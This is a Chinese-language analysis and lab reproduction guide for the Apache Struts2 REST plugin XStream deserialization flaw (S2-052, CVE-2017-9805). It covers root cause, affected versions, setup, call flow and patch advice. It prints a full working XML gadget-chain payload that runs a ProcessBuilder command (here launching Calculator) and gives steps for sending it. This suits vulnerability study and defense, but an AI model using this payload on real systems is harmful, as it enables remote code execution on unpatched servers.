Struts2-052漏洞分析
字数 1341 2025-08-18 11:38:48
Struts2-052 (CVE-2017-9805) 漏洞分析与复现指南
1. 漏洞概述
漏洞编号: CVE-2017-9805 (S2-052)
发现时间: 2017年9月5日
发现组织: lgtm.com安全研究团队
漏洞类型: 远程代码执行(RCE)
CVSS评分: 9.8 (Critical)
2. 漏洞原理
该漏洞存在于Apache Struts2的REST插件中,具体原因是:
- XStream组件反序列化缺陷:Struts2 REST插件的XStream组件在处理XML格式数据时存在不安全反序列化
- 缺乏输入验证:对传入的XML数据内容未进行有效验证
- 恶意数据包执行:攻击者可构造特殊的XML数据包实现远程命令执行
3. 影响范围
- Struts 2.1.2 - Struts 2.3.33
- Struts 2.5 - Struts 2.5.12
4. 利用条件
- 目标系统使用了Struts2的REST插件
- 目标系统运行在受影响版本范围内
- 攻击者能够向目标发送特制的HTTP请求
5. 环境搭建
5.1 获取源码
git clone https://github.com/apache/Struts.git
git checkout STRUTS_2_5_12
5.2 创建调试项目
- 从源码包中复制
src/apps/rest-showcase文件夹 - 使用IDEA或Eclipse导入该Maven项目
- 以debug模式运行项目
6. 漏洞分析
6.1 关键类分析
XStreamHandler类 (位于struts2-rest-plugin-2.5.12.jar中)
public class XStreamHandler implements ContentTypeHandler {
public Object toObject(Reader reader, Object target) {
// 漏洞核心:未经验证的反序列化操作
return xstream.fromXML(reader);
}
}
6.2 调用流程
- ContentTypeInterceptor.intercept():根据Content-Type值选择处理器
- XStreamHandler.toObject():处理XML数据
- XStream.unmarshal():执行反序列化操作
- AbstractReflectionConverter:解析XML标签和值
6.3 漏洞触发点
在unmarshal函数执行时,系统未对反序列化的数据进行安全检查,导致恶意代码执行。
7. 漏洞复现
7.1 复现步骤
- 访问目标URL:
http://localhost:8080/struts2-rest-showcase/orders/3/edit - 拦截HTTP请求
- 修改请求:
- 设置Content-Type为
application/xml - 替换请求体为恶意XML payload
- 设置Content-Type为
7.2 恶意Payload示例
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
8. 修复方案
8.1 官方补丁
Apache Struts团队通过以下方式修复了该漏洞:
-
实现白名单机制:只允许反序列化特定的安全类
- 基础集合类(Collection, Map等)
- 基础数据类型
- 时间类
-
版本升级:
- Struts 2.3.34修复了2.3.x系列的问题
- Struts 2.5.13修复了2.5.x系列的问题
8.2 修复建议
- 2.3.0-2.3.33版本:升级到Struts 2.3.34
- 2.5.0-2.5.12版本:升级到Struts 2.5.13
- 临时缓解措施:禁用REST插件或限制XML请求处理